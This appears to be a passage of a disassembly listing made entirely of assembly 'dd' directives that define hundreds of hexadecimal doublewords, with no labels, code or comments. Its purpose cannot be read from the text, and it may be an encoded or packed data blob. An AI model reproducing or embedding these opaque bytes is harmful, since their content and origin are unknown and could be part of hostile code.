		dd 4BAA2026h, 9807A8C4h, 47E42BC1h, 0A64044E1h,	5B0F6D4h
		dd 8A071078h, 5B208015h, 8B07D408h, 58A43B84h, 625F030h
		dd 0D1D2003Ch, 0F22D9C73h, 561EB334h, 5E43C575h, 984DD56Fh
		dd 0FF72CEh, 0DD97100Eh, 0DE49CA06h, 53A52507h,	0FDB067B0h
		dd 1E9EAFh, 680715FFh, 82B5F663h, 900A674h, 0ACA531E9h
		dd 7BEB6EADh, 39C301D8h, 8778486Ah, 1BB7FC4Fh, 6D882650h
		dd 8AA38005h, 0D080E7D7h, 3F8E3DEh, 6FC5E0B0h, 4AD024ABh
		dd 0A401815Fh, 0BC0496D1h, 0AF2186C4h, 0E429A06Ah, 0BFE2B200h
		dd 2D15EBA0h, 84D400EDh, 8D0F4638h, 57282694h, 7E3AFF24h
		dd 0E40D8003h, 84512AF2h, 0CDF400F3h, 1013A06Ah, 0BD0FD22Ch
		dd 0E0099E25h, 6118BCC1h, 0EF520FD8h, 0BF2BD15Ch, 0FD40EA00h
		dd 0DDF987EAh, 0DDC570A7h, 7985C800h, 74840A19h, 86980762h
		dd 0F24BDC3Dh, 6640FC7Bh, 0BD05B0B7h, 33CB03A6h, 49BC480h
		dd 6829007Eh, 0AB118701h, 0BDEC09A7h, 0CBB42C00h, 0CE7E77E9h
		dd 0C41B2E63h, 323AD064h, 10FD7200h, 144FCE98h,	9E871E67h
		dd 2AA10333h, 1426A337h, 0B30226E2h, 6081D020h,	1C9DD45h
		dd 0B154FF55h, 0F02E09A9h, 5200B98Fh, 94C5B67Ch, 4FF364h
		dd 27DEA00Bh, 0E1A0CCDh, 0E6FDEF00h, 0A8812CE1h, 0E0431C48h
		dd 0BD524098h, 90E3893Dh, 0A572AB00h, 0A727055Ch, 4B7436h
		dd 4A597C5Dh, 6769DB0Ah, 0ACE59926h, 54261C00h,	1477F561h
		dd 0B0D829A8h, 964A3E02h, 350055DDh, 728C83h, 6142F95Bh
		dd 6E5266C2h, 51346D14h, 2B8800B4h, 30FC1538h, 0C18A00CDh
		dd 424EE65h, 0B13F1EDFh, 0C23F8073h, 0A6793E61h, 0B0A250A0h
		dd 5A220BBEh, 44003DABh, 31E61EB7h, 446A1400h, 509FD747h
		dd 0E0D30090h, 391F082Fh, 2D7F3F17h, 934A54Ch, 38A38693h
		dd 899460h, 3BCA9BF5h, 7D5D1FABh, 0D4119100h, 0DD2AFFB1h
		dd 5F8C0018h, 0E90B287Ch, 0A601ACC5h, 2C996451h, 54F889A2h
		dd 0E05D0076h, 3ECE2434h, 0FB4862D0h, 80C83F7Ch, 0B4F973DDh
		dd 0A94BF7h, 0A8FFDCDBh, 280FA591h, 0AB00CB7Bh,	4D794E11h
		dd 249363E3h, 6BB95Fh, 5449FBE0h, 4214F07Eh, 1B0C06Fh
		dd 1539BD25h, 5C24F53Eh, 7769814h, 0D896EBD1h, 1050171Bh
		dd 0DE2D6747h, 0FEAB1500h, 0B1DCD4F3h, 5E0F0045h, 0C547BDB9h
		dd 2614193Ch, 2B0A5B0h,	0A93928AEh, 0A3601252h,	30035BA8h
		dd 7BE4BEF2h, 66B0C733h, 2F0C9Ch, 0C1692B79h, 4D3964CCh
		dd 3AEDE41Dh, 5210BC28h, 471FBB26h, 13EFC07Eh, 0BA6232A2h
		dd 80677538h, 0D6B17B70h, 3174FBh, 8ACE5C9Ah, 931726DBh
		dd 7D981F00h, 0D167E6Dh, 975D017Bh, 0FED533C5h,	1B0BE8B5h
		dd 7C3B8900h, 317F64Fh,	2F40692h, 0D0DF206Eh, 4D596A2Eh
		dd 0E9D0B000h, 3658DB1h, 0AFE0C13h, 8FF09AEFh, 7C00C78Bh
		dd 16543210h, 50937799h, 0B9B4B2h, 0C317807Dh, 71728BB5h
		dd 6FF04600h, 77754791h, 97E4D5h, 844F9AE1h, 0AD023CB7h
		dd 0C8433800h, 0B5FBA33Dh, 1CC50F8Fh, 0E9A2130Bh, 3204C4FFh
		dd 0C92F80FEh, 74007BDCh, 0F3675304h, 2786AAh, 0FEDDC1FCh
		dd 3E1B22C4h, 90F05C5Ah, 0D39E09E6h, 5B804CF3h,	0FE3827E4h
		dd 0CA05F501h, 0D587D4F8h, 16698420h, 0B03ABC35h, 9300FFC8h
		dd 1BE0FB54h, 0F8C0B6h,	36F47E22h, 0CDF6D2CFh, 0AF1E3Ah
		dd 67DB3D2Dh, 0C7E040h,	0A59D25B8h, 0FF7A0422h,	0AA341700h
		dd 3B9A99Eh, 0D2E9074Fh, 0DED189DBh, 2086AE80h,	0C0032DCEh
		dd 38A161AAh, 3B9BB094h, 0F5A0C4F6h, 976C028h, 250FB913h
		dd 0E203E65Dh, 60B3EA02h, 2D3EEACh, 1822CCEDh, 11C013D8h
		dd 0AC079770h, 0C83F594Bh, 0D31F37B0h, 9D6F0BBAh, 4C000838h
		dd 77ECE1A9h, 8023533Fh, 22BB71B1h, 2980E7Dh, 3D645FC7h
		dd 50E094CBh, 2A017C72h, 27E7DD14h, 0FFC174Eh, 869C0002h
		dd 6BA8A252h, 0DD00928Ch, 87C0966Ah, 7D05CCCh, 0BB47DCD8h
		dd 720EF31h, 3B4B1E6h, 6516AD13h, 9BE48Ch, 0E532E1C0h
		dd 1F0E21F3h, 26A0C600h, 5653A449h, 151838C8h, 9067BE81h
		dd 60179CA1h, 660EB4E0h, 6049558Bh, 0DCF614B0h,	106060B2h
		dd 0D5FF85E8h, 4D7C4000h, 0A1AB9312h, 0B5423EE2h, 0E4CC1080h
		dd 0B3524C4Fh, 8738003h, 0C70564CAh, 6626EE50h,	4BE53DA4h
		dd 0D698004Bh, 76F99D17h, 0C400424Bh, 0BE6E2D61h, 0FCCD003Fh
		dd 396AA148h, 6D48E9FBh, 20870060h, 0CE71850Ah,	0AD150058h
		dd 2937C88h, 0F9007424h, 5F2B25A3h, 7DE7172Ch, 0B22230A1h
		dd 4F21DD88h, 0CB0059FAh, 0FE66731Bh, 1C574742h, 80A77BC8h
		dd 528FB71h, 321F50A1h,	0B4C0F774h, 0FD734E79h,	383B0035h
		dd 0EC6A6D37h, 67182280h, 19ECFF4h, 47CE01C3h, 0B6A011EFh
		dd 97EC3086h, 0F576C800h, 2DC2DB8Fh, 0D310310h,	14BD2E45h
		dd 9E888CF0h, 9D0086EAh, 6D5344E9h, 0E85A0Ch, 0C5C18D6Fh
		dd 41CCAED2h, 1A00F098h, 0A0FDA2EBh, 0D37886h, 8D1F32E2h
		dd 0CA0B4E4Fh, 0AB588100h, 0C15CDA4h, 2F9C01B0h, 8DFEC475h
		dd 43F2F4E7h, 0F9190800h, 5BCA63C5h, 0A0AD2E64h, 88218040h
		dd 0AA60439Dh, 5222B102h, 400E9606h, 380BA56Ch,	8D821E85h
		dd 0A78A4EB2h, 532674C8h, 1103AB7Bh, 43E74B89h,	3B182671h
		dd 0FE2E0111h, 2053A6D1h, 4006BF3h, 14342B6Ch, 733307C0h
		dd 0AA00027h, 0FFCF62F7h, 0F89BABF8h, 243F7400h, 0AA9590h
		dd 0E90ED7BFh, 399B30A2h, 0DC038200h, 0FBD29C6Fh, 0D7BE04D3h
		dd 0B0BFCFE8h, 0CD728D34h, 87903Dh, 0FA3020A5h,	3F9FB6C6h
		dd 0C94C212h, 1B0FFC4Fh, 0EF8159B2h, 0CCF03B7Dh, 3D00F251h
		dd 0A75D860h, 0E8B18AAh, 997C97E6h, 6381BE87h, 0B1C0F9E7h
		dd 0C6382F7Bh, 2D6A8091h, 0EC04DA9Ah, 133498EFh, 40E9D46Ch
		dd 0C94A5B84h, 2D01A664h, 937E845Fh, 2432B975h,	5440B1Ch
		dd 81BD983Ah, 60AB8BF0h, 0F9393951h, 21468033h,	38DE2FCFh
		dd 2B7B3C95h, 2E171800h, 81333F5Eh, 0E120E505h,	0B4C3F0EBh
		dd 715DA053h, 0D72200D1h, 0BFB325AFh, 0BC009094h, 0F6A04D8Bh
		dd 0FAADD5h, 187971Ah, 33C3DDB1h, 8F00E37Eh, 0EF300215h
		dd 1C4F4DB2h, 3A03C6D9h, 12A97C00h, 0E7275D08h,	8000E871h
		dd 2F17A29Bh, 5BC499h, 0FA194BF5h, 188FEB14h, 8B00E071h
		dd 0A47A3BE7h, 0DC0F90h, 85A65ED7h, 0FEBB5B23h,	2B096200h
		dd 0FD480AECh, 5D5800F5h, 6CE19A56h, 92766D0Ch,	7DAF260Eh
		dd 4E450127h, 0FAC48695h, 0CE6A0090h, 131CBC74h, 0F9EDA52Dh
		dd 4CF0E665h, 1A8B8701h, 688372ACh, 1F4E0C20h, 31A1F2h
		dd 5CE8F532h, 2E1D0D10h, 9800FC9h, 469FE4D1h, 0FEC80055h
		dd 28B987A0h, 7000C5B0h, 0D0B21CB1h, 335C3EAh, 89FD18AEh
		dd 45F28B4Eh, 0D80DF740h, 0E392CD1Fh, 9B0E7A2Ch, 0D47FC0DAh
		dd 1AEE5B7h, 0C0A04E0Ch, 78075433h, 111C27CCh, 68341230h
		dd 0B8FB00D0h, 0A5FC09AEh
		dd 0E1FE1ABEh, 635BB400h, 256BF171h, 5A8B013Ah,	0ADC16FCBh
		dd 0D412E0EAh, 0C02812Ch, 341E9201h, 11CC2E8Fh,	3AEA7D5Eh
		dd 8D009987h, 0DC9C5974h, 0EC002D9Eh, 3CB59DBCh, 0A2BA47h
		dd 97F6AE4Bh, 415ADD5Eh, 7E4F7700h, 0DFB30C10h,	0B7C303BFh
		dd 1D1285B4h, 0C99E40B0h, 56BB4F00h, 52B372D4h,	45FB00D5h
		dd 0A1B210ADh, 1513BCC1h, 1D1F21EAh, 7CB5DB80h,	1E55E696h
		dd 8E50CECDh, 1201F6Eh,	988247DDh, 7302AAE2h, 0EB07CBBDh
		dd 44F4E00Bh, 25630737h, 344957h, 8A854DA5h, 6BDBE807h
		dd 0F077FFDAh, 0E40E4490h, 0F51300D5h, 0B81A1E43h, 4700808Fh
		dd 62936C63h, 0B2F0F8Dh, 887B05Eh, 0CAE40F80h, 8848EC2Ah
		dd 9C4B2920h, 0E88D2F00h, 0B08A0EBEh, 51B9057Bh, 2C46A3Dh
		dd 52EBECDCh, 9C869203h, 0E35E3090h, 8CE700EDh,	6EA972B6h
		dd 800063DCh, 54277BF3h, 0E817F167h, 5E7403A0h,	0E356247Dh
		dd 0BF5528E0h, 7ADA4103h, 0D81FBCA7h, 0FE50338Bh, 9B9F470h
		dd 3ED9A91Dh, 66C81C20h, 0DD48F8C6h, 0EF0476B0h, 1C1E7A76h
		dd 0AEA980D0h, 91620C23h, 54F00874h, 0B788D200h, 58243D42h
		dd 0E21000E8h, 35CB7C4Dh, 78009469h, 77A1867Ah,	205EC7Eh
		dd 2B33BC87h, 0FE0BF31h, 2A1DDAEFh, 0E7C1F39Ah,	0C38B7258h
		dd 3CB2B870h, 0A2BE7ADDh, 2FD03881h, 0F5F104h, 0EE4B122Dh
		dd 0AF7107A7h, 0E025E45Eh, 237920C2h, 3204DC00h, 0A0CA695Ah
		dd 0D5F70050h, 6833E3D9h, 0DA00392Fh, 708E56A7h, 8526234h
		dd 3A0863Ch, 0A417E100h, 656777h, 3DEBC3CAh, 4B2A7043h
		dd 33490B2Ch, 0E3AC0600h, 72FEB566h, 1CCCB0ECh,	40256ED1h
		dd 81059E7Eh, 10009FAEh, 0EDC69617h, 479CB86h, 0F122AB36h
		dd 7124C0B4h, 722CE38Dh, 340084A7h, 676F0BBCh, 0EFF501CFh
		dd 0DA383FBAh, 20A020A8h, 918BB700h, 5D2E335Eh,	0D0C900BFh
		dd 5BC929Fh, 8200A7C8h,	6D77D837h, 2E1C1D91h, 0FC852AFh
		dd 0F4C2220Fh, 40604150h, 10003ACDh, 514F6E9Eh,	3EA47695h
		dd 3680D2D7h, 0F7DAC501h, 0F80B9FD9h, 6A7FB4h, 26390868h
		dd 55100002h, 210E0D92h, 2A4CCB03h, 0B1BF2818h,	0FB319500h
		dd 99EAA865h, 0B28A07FAh, 60E3BE26h, 5266D3E9h,	289B7A24h
		dd 6BD8AF04h, 622DF4A8h, 546A0400h, 94B91AC6h, 8091AE0Fh
		dd 5E5D10F0h, 175100C4h, 0DF436E34h, 673AF761h,	309287ABh
		dd 0F440D229h, 3B86D7h,	75F34012h, 36FC961Ch, 8B0038FAh
		dd 220C9DA2h, 8A6EDBh, 59F3F603h, 0A9A3CD30h, 0B7684B07h
		dd 8E60229Fh, 0EA84987h, 0B34E4138h, 82CBA4C0h,	2C0037F7h
		dd 537D4BB7h, 1809AC8h,	0D9E35F8Ch, 7ABF4D62h, 6FFCF480h
		dd 31EB007Eh, 0C8A86AB4h, 0D41CB307h, 7F40A09Eh, 79822D15h
		dd 0E4C600C5h, 36E5711Ch, 12007605h, 0F357B583h, 0FCDF6CFh
		dd 0F232DD6Dh, 27518C00h, 8500A1F7h, 30A659C1h,	95ED19Dh
		dd 456270E8h, 8673898h,	0E6E3B100h, 0B6052DFDh,	0BE650099h
		dd 46E7C8C9h, 1001D59h,	6A4FDA96h, 4CCB3Bh, 0D013A79Dh
		dd 0A6441787h, 7893EDEFh, 0C4F20188h, 0A37B28F4h, 0FE1FFC68h
		dd 3F43C0CDh, 0D0F69AEFh, 1055C826h, 1CCEAB02h,	7CDA74h
		dd 8D8315FDh, 0A49A802Eh, 60948E00h, 0AF55F443h, 398C0037h
		dd 72BD2F93h, 1000F3D8h, 256CEA16h, 69DA8F4h, 60553391h
		dd 0F200989Eh, 5129952h, 90A7C50Fh, 584F0020h, 782F51BEh
		dd 0CD00DF64h, 0C48DE713h, 307C53Ch, 4BA03AEFh,	0A4C20573h
		dd 2437DC0h, 82E6EC27h,	60CC9794h, 0E43375E6h, 3918901Eh
		dd 6580B0ABh, 0C4173B36h, 0C904A482h, 23571DC3h, 0DCC0D094h
		dd 0BEDD4599h, 75A61Ch,	0B9E85C1Fh, 0B52E0D62h,	711FD49Ch
		dd 0CAA3D200h, 71C98B16h, 0FE2A0018h, 5856BE21h, 0F9007B1Fh
		dd 0B7C7A6Eh, 85CF36h, 6C9F06CDh, 2DA81756h, 98FA1B00h
		dd 511E0C31h, 4A69E039h, 9C0404ADh, 106B868Dh, 8085D638h
		dd 90879237h, 1C617A5Eh, 1235083h, 5D9C7627h, 64AAE477h
		dd 1B020607h, 8CC3FC12h, 7FE4A9CBh, 60E195F4h, 0D897C8C6h
		dd 3A1D1973h, 0CE09FFC8h, 87708072h, 0B43DFh, 0EEE671CAh
		dd 0DE45C2FAh, 1FC9CB00h, 0ECB7D1DCh, 6DFB0090h, 40293F0Dh
		dd 5F006571h, 0F0BEBD79h, 0F4D06291h, 0F7BF8EBh, 2A441BCBh
		dd 73CAB640h, 550951ACh, 28E041h, 0B3947220h, 22400A1h
		dd 0DDC5CD95h, 90018C9Eh, 0E6BE8EB2h, 0F1DC52F0h, 9231006Ch
		dd 2A72B051h, 85007DCCh, 0AFCEC077h, 0BF21D2h, 444BAA8Dh
		dd 5B2A2C53h, 4E109900h, 0A1A0FB8h, 86EA2CFCh, 40401FE0h
		dd 0FABA69C3h, 5094B82h, 0F5969Dh, 4D2E806Ch, 5A360063h
		dd 70A06210h, 3025C17h,	0B8EA5275h, 0F09C6054h,	58E4F586h
		dd 0E5CB0737h, 0C7BEBA9Bh, 81C230FEh, 77B01DDDh, 0B9768200h
		dd 0B6ADBCCBh, 78B700CCh, 1ADBFD6Eh, 0F4005F8Bh, 2094871Bh
		dd 6598B4h, 3BEB476Dh, 7190C9A0h, 0F208A10Eh, 6E862245h
		dd 7AE4DA7Ch, 2AE44Dh, 0DAF0D29Ch, 20226A14h, 0CEF5DE00h
		dd 3DF26EBFh, 0E64BC7h,	0CA267CA4h, 0EF03194Bh,	382F4D18h
		dd 73FFE0CBh, 747873C5h, 7186038Ch, 3A47CCB9h, 78A5480h
		dd 0E214CDE2h, 5AA8042h, 6D5A756Eh, 72FBA4C0h, 0D6938B4h
		dd 10B5B203h, 0D2E0BB26h, 0FE0BAB62h, 87717BD5h, 7CC5ED11h
		dd 0E9799C00h, 1337E97h, 0CBA88B49h, 0FC30A4B7h, 3F0748C9h
		dd 2FBCC319h, 0F2E0C657h, 1F20DCE9h, 30974795h,	4B793410h
		dd 4D6B2900h, 0C0C793BEh, 7738B01Eh, 47F5000Fh,	0B479F08Fh
		dd 498E61Bh, 0D64C6A00h, 0AB2E5B44h, 0C23500CCh, 0CA2D0FDFh
		dd 2B00C1A4h, 258A3FDEh, 303E12D8h, 0C282FF1h, 0C2006F1Bh
		dd 9FC84729h, 0E6171FA1h, 15490110h, 0B3721C32h, 2F3DC124h
		dd 0B08A1805h, 9007B881h, 600A828h, 8DB1C126h, 6F009AC7h
		dd 0E45FC6F5h, 0E0677539h, 1C142799h, 0B318EFD8h, 0A21834CEh
		dd 0CF8C00D7h, 87D41E92h, 91004031h, 50128A8Bh,	38C9CC93h
		dd 8814EF9h, 4DE3C147h,	9910A882h, 3D3D227Eh, 0D9FE800Eh
		dd 89A00AECh, 69F60016h, 0C2FB2483h, 0F34D8B8Ah, 0A81AC13Ch
		dd 1BE8B42Fh, 2A38007Eh, 19855037h, 700148FBh, 0A106577Ch
		dd 1660F790h, 0BD0F01EFh, 292AB9B6h, 0F5422051h, 1F084207h
		dd 0C08FE296h, 0AC658CB3h, 0EAF49872h, 0B7330060h, 5609409Ah
		dd 8F07EFD3h, 5F3CA18Bh, 0DA987590h, 0D50C00E1h, 0CBFCF89Ch
		dd 0F402BE14h, 257BF75Bh, 0B7FAC196h, 0B09AABECh, 0B2650014h
		dd 49DF043Eh, 8214787Ch, 0EDFFE5h, 21F7359Ah, 7E9B1Dh
		dd 95AF32A8h, 5AFE053Fh, 381E3338h, 82B8804Dh, 65BFE430h
		dd 0C8A013E3h, 99540074h, 44D8FFF1h, 6A2A4600h,	0DC68B031h
		dd 25B10050h, 71F74CAFh, 531E67E8h, 0BC80D0FCh,	39278052h
		dd 4290540h, 0C0C5F08Eh, 724730BFh, 48DB7303h, 0C74A2C9Eh
		dd 256D0490h, 266C0092h, 0E67BD268h, 0FF1DB8B1h, 0C408F85h
		dd 0CDA54F97h, 0B3F3AE4h, 0FD3E4D3Ch, 1810AF00h, 28BA8567h
		dd 0C01E58h, 0DDBF2AD1h, 6A912C8h, 0CBB422A4h, 0CE0458F8h
		dd 0DE8A346Fh, 0F4A2BCD4h, 9E18E209h, 920940Eh,	0AA4D752Bh
		dd 59D92A00h, 0F026F34Bh, 9217051Eh, 83DBC71Ah,	6480964Ch
		dd 6C070C9Bh, 7F02C05Bh, 18F80079h, 12F86873h, 8EB7F3h
		dd 0FE70605Ch, 3200B61Dh, 0B1F64E5Ah, 1D443ECh,	0AFE54974h
		dd 802F8961h, 0AB756896h, 781754FFh, 0F51E655h,	0B7BA8EE2h
		dd 1C812C20h, 5001C1C0h
		dd 0B178E5A9h, 0EDD722D5h, 70DCE0F1h, 59170023h, 0E1666250h
		dd 0E0077AEh, 68E9DA12h, 720CE75Bh, 0E8C20067h,	8BF7EF87h
		dd 0FFF6DE9Fh, 0DC565203h, 83F9810Eh, 0B549C0C9h, 7C4602C3h
		dd 0BDA2BC1Eh, 46A6345Eh, 0B0074100h, 13C3EAFh,	0A46B675Dh
		dd 0DDB59B4Bh, 7213207Ch, 0CC75ED25h, 8BDF0A68h, 0A4E223h
		dd 6245A8BEh, 0ACE67CFCh, 2AC584Ah, 0CD77BA01h,	2ABEEC8Ch
		dd 855EF400h, 0EFF57B6Ah, 71125220h, 92013A15h,	76AA3880h
		dd 0E6BD8B3Bh, 42B6AC1Dh, 1A161480h, 71998h, 0B0E91EAh
		dd 0AAFF77AFh, 9CF62500h, 0EC30B181h, 0A26C28E0h, 0FCE77390h
		dd 0D6F04B4h, 878F5544h, 63A9010Ch, 8FBE424h, 1CABD3Bh
		dd 0FA0EB56h, 5DC87A60h, 66AF00B2h, 0C162BF0Ch,	0EB037CA5h
		dd 0C8D4B0DBh, 27FFB02Eh, 0A14D0049h, 9D9B8CE8h, 0E9008A82h
		dd 0F8523881h, 1805975h, 0FFF2C609h, 0E1CB0F34h, 0E8902150h
		dd 0EC03A29Fh, 0E4E0673Ch, 0B0C7986Ch, 0C9020EC4h, 0B8806D7Bh
		dd 0C10605C3h, 0C8816660h, 1F47FB7Fh, 1E127EAh,	0DEE5D052h
		dd 29722061h, 0C3914E00h, 0C44DFFF3h, 0F7732Ah,	44A5B63Ch
		dd 2E61A61h, 4A63A200h,	2319724Dh, 8D78002Bh, 6DA94B5h
		dd 71003A61h, 7A881B98h, 31A587h, 4EB8CF67h, 83E60FC0h
		dd 0F9BD9000h, 7E6446B4h, 6084735Ch, 875E40C8h,	0E81F6838h
		dd 81F8C582h, 0F8A553EBh, 79D8AE6Ch, 0E52C0047h, 8B4DF3A8h
		dd 340EEF49h, 40DA8F0Bh, 62298296h, 1E741DEDh, 501FC311h
		dd 0C4F85E8Ah, 6A002E0Ch, 9D37F2ACh, 71C85BDh, 0A76E12ADh
		dd 915F40B6h, 0FD0144F4h, 3AFB1668h, 6AD87ED1h,	522F0413h
		dd 0BC5E8771h, 0FC1901DCh, 740AF969h, 9CCEE4h, 83404E42h
		dd 7F49FA9Ah, 0E6665503h, 8047BEF8h, 22FFDFCh, 3C09AA89h
		dd 0FC7EB5CEh, 0E9698300h, 2D171DB6h, 0DCA2A003h, 0D0544BD3h
		dd 0A1265A00h, 16E186h,	50DB2882h, 0EDAB8DEEh, 7C69E800h
		dd 91640C04h, 5A0E1D08h, 971ABE3Ah, 4A8060DCh, 0EF093F2Ch
		dd 5D5F4C00h, 2E7C71DFh, 0CE300217h, 3D7F1BF9h,	0E2C898E0h
		dd 75E11201h, 0A17EF86h, 0E7B485EAh, 97608B87h,	305C2E68h
		dd 0F03112FDh, 30E4694h, 40EB51A6h, 2BDFE55Ah, 0D00A3972h
		dd 4F5DC00h, 5F2AC1AAh,	415738C0h, 99814Fh, 87B96F46h
		dd 0CA1A2DB0h, 9E83A0Bh, 0C05843D7h, 0F270D2h, 555883A5h
		dd 6EA43534h, 6CDBD517h, 386F44C0h, 33A4A8A6h, 8A4C4CCFh
		dd 911F290Eh, 6A6A7C87h, 9C4F0010h, 0DF57BF6Ch,	8B10E407h
		dd 31C0A7BBh, 607C565Bh, 64C8EEFBh, 610021CFh, 10520ED7h
		dd 0E4B6071Bh, 355F000Dh, 0FE15917Ch, 6616F2ECh, 23007925h
		dd 0F4FCE86Eh, 0A509000Dh, 0BF76DC9Bh, 0ED01D698h, 6673C42Dh
		dd 5470EEBCh, 17570148h, 93DD434Ch, 2859DCDAh, 0A5E51900h
		dd 474FF4C3h, 489009Dh,	0ACB2A3D3h, 0EE001A2Ah,	81655352h
		dd 3B211B41h, 25050FCEh, 80349C4Eh, 716D4B9Dh, 456CD800h
		dd 2241167Eh, 8BEF0504h, 472AD934h, 507967D8h, 0B824CF72h
		dd 0B816F3Fh, 607C6CDCh, 41A9F4h, 62C7A7DAh, 8E987B9Bh
		dd 0EEE06E76h, 0E268F11Ch, 337AE680h, 0A66F1Bh,	0F5014349h
		dd 0E86124BEh, 300DEEEh, 0D2CFB460h, 7B411EA2h,	60066173h
		dd 0E876E228h, 390388A4h, 0D55387FFh, 1CC3FCh, 71B08320h
		dd 97926EAAh, 0F3EA7E8h, 70C9FAFAh, 0DB6820CCh,	4CDEA2h
		dd 325DA877h, 0EF4D0CFEh, 0EC8A5B00h, 0FDA0E0E4h, 18856094h
		dd 6FB3F426h, 0F04C749h, 40ECD8EAh, 2BA6E1CCh, 0E21063Fh
		dd 2008902Eh, 23F89Dh, 0D5D67CC5h, 0DDF6E02Bh, 9AEF25h
		dd 2AB12760h, 688A3ABh,	525BDBE0h, 891F1014h, 7F0343DAh
		dd 0CBF65390h, 0A17A888Bh, 6B930096h, 0EF3FBF62h, 0E3003285h
		dd 0CA956070h, 48215Fh,	53D26E1Ch, 95939FFh, 81376F00h
		dd 9E83A273h, 0D9B400CCh, 0DC1040F9h, 0A000C486h, 7796A72Ch
		dd 0E4FE027h, 1583818Bh, 3AE4041h, 2A3019Eh, 68BFF0h, 4FD10AFDh
		dd 59979965h, 7B9D5400h, 58F04E4h, 0D0EF00ACh, 69F4B529h
		dd 28169AF7h, 5F06E5E3h, 0A2DBAh, 0FB623B41h, 10CCA4F8h
		dd 971F90EAh, 70C1CFF4h, 94A2FD75h, 3902D9F4h, 0F807E99Fh
		dd 0F0B045BCh, 9D987E27h, 26D20403h, 0BE739E85h, 33ED0091h
		dd 0D8F10938h, 4EF6EBACh, 74D31900h, 2CEFA51Fh,	6E5A3002h
		dd 67093530h, 243C1D7Ch, 3EAC0105h, 8C6AF684h, 17FEF080h
		dd 100D6658h, 8D704100h, 3A34A947h, 8FF80969h, 0E864AEFh
		dd 0C60259A3h, 38F4D503h, 0A9BD181Dh, 42364740h, 0F9B4119Eh
		dd 1BB427Dh, 88F7AE7Dh,	9E0CBD4Ah, 0A1B19362h, 58C48C9Bh
		dd 0F7B120A5h, 0A9614EB0h, 25AC1C59h, 8BC9801h,	4988A851h
		dd 1084A669h, 14F46566h, 3C2C8515h, 21FAA04Dh, 1404319Eh
		dd 0AC0F0ECAh, 7588EF48h, 20959EC4h, 721FD01Ch,	6550AE58h
		dd 36EB006Bh, 0C5EA3D39h, 35382DDBh, 222C00C9h,	0D19A13D8h
		dd 583007Fh, 843B97AEh,	900C5566h, 81E39FDBh, 6D8036Ah
		dd 97BDDA49h, 0BBB7000h, 2C26C3C6h, 6B6407FEh, 2074B188h
		dd 24AA815Fh, 33E5A000h, 85D161B9h, 2A1C005Eh, 0D6842D15h
		dd 9300297Dh, 7C04F8DDh, 710CBC3h, 16D22572h, 0C133D4BBh
		dd 0F0CA1E4Fh, 1A3F2C4Dh, 0EBD100BCh, 0FC313842h, 3DC8A087h
		dd 0DC45546Ah, 0ACDB0FB2h, 0E9231A9Fh, 95E184E5h, 5439E08Dh
		dd 3A103D61h, 0C089A679h, 10007A42h, 0FF819DEFh, 93828500h
		dd 0CB042B7Eh, 5DBD03FBh, 5C30CE10h, 0B1BBC0A5h, 3A28A780h
		dd 0C088ACAAh, 0BE0154A1h, 62BBDAC1h, 97417CE5h, 0C3E41ED3h
		dd 0FC9E384Ah, 107C789h, 0F03DB000h, 59030365h,	0CE9FC48Ah
		dd 1832152Ch, 0FD2ED8A0h, 4AB1003Bh, 23EAAA36h,	66F82C00h
		dd 789008C6h, 3F61C88h,	855AC0CAh, 47F04811h, 7D76300Fh
		dd 92F4E0F2h, 0DEFE74h,	0F88E434Ah, 0EE40B0A9h,	62579A00h
		dd 2966D1D4h, 3171C0E2h, 799D42E4h, 27A9FE0Eh, 0F7682140h
		dd 0BFC4F238h, 706E020Ah, 2B0D209Eh, 0C1CD9880h, 6F9873E4h
		dd 64E32700h, 94CAD8A1h, 0B3C01E2h, 8AE982CBh, 4F742077h
		dd 0BA39AE12h, 8C758407h, 0A458D440h, 6F0200B1h, 7DD0F922h
		dd 320153A8h, 0F131440Ch, 0C9D42877h, 0ACF406C8h, 0C8B0D1D9h
		dd 33C3DC0Fh, 83BE73Eh,	9F80FBE4h, 7025E79h, 0A26E4A40h
		dd 97E2FE9h, 0A5877A36h, 502590B0h, 5DEE8D94h, 8384AD1Ch
		dd 1149040h, 897772h, 9D1121B2h, 0AAC1E1EDh, 0B0EEB930h
		dd 3CD03083h, 0B583BE9Bh, 4E5BE5E4h, 4F004050h,	7EF6BD01h
		dd 0D205A721h, 31E5E841h, 9257AE00h, 182998A8h,	0E7B29B09h
		dd 0A9CC83F6h, 2C2DC8E4h, 0B0FC004Ch, 72FF3A3Fh, 1C004DB1h
		dd 4AF3E95Fh, 0F8C03Ch,	9C76B002h, 0DB68F59Eh, 0BF001C76h
		dd 4C69E6E4h, 0C3171F6h, 0A03439Ah, 821E8E20h, 1F008FCAh
		dd 2BB777ECh, 0C89B0A80h, 3ADA6802h, 189548AEh,	0CBBC3046h
		dd 0A1A41F00h, 0E1E70D3Dh, 0FD660FC5h, 27262080h, 6C7840D8h
		dd 1750D400h, 0C938AB9Fh, 0E60F0635h, 493B9A39h, 0E790BA00h
		dd 0D4836EA9h, 0A2AC0089h, 80345657h, 463FCA78h, 2D7102DDh
		dd 0C07942D1h, 7ECC2B1h, 0B42C3D8Bh, 0A4CAA030h, 238F475h
		dd 0D9E8CF73h, 805D1900h, 0E0BFDAE3h, 40AAB602h, 60212E4Eh
		dd 1E724F27h, 10AED8Eh,	2C300DEEh, 0A7163005h, 0C073A378h
		dd 9FB27100h, 24DEAEDAh, 0F74E4E4h, 0D44C25C4h,	0C88D0BE0h
		dd 1B0760B5h
		dd 0B228BDEAh, 236B9C70h, 10200F76h, 0CD400E3Eh, 315ED151h
		dd 1ECC9713h, 25603D00h, 28DC8h, 0DB35BC24h, 0C2A12F18h
		dd 0BBB6D0FBh, 37CAA300h, 0A6D5BFF8h, 0CBCC0076h, 56F1D16Bh
		dd 4F004829h, 0A94135E8h, 0FD2BF1Bh, 0BDF8D5F6h, 0B846E6C0h
		dd 9B001504h, 1A07213Eh, 614CC4A8h, 9E7F98B4h, 99ACE09Fh
		dd 0C12310C3h, 8D5AC9E5h, 6235D0h, 0A5E80197h, 0E0FC3BC9h
		dd 24D17D00h, 0D5AD1CFFh, 0A86B00CEh, 698CF594h, 0F61FE920h
		dd 0ED013EBBh, 466528A5h, 734467E8h, 7A2703A6h,	48774BBCh
		dd 87D8B2E8h, 0E3D9A900h, 894A4EB5h, 0D35000E8h, 70BB14FEh
		dd 0E0E8FA71h, 57462300h, 58BF3F98h, 153E40B3h,	3A0F227Ch
		dd 56EA92h, 0F9745B5Dh,	0F1F1F1Dh, 0D2DD24h, 2C73D484h
		dd 27009920h, 0B8599BDFh, 0E5101F07h, 8FC3DCh, 0E2F14AD4h
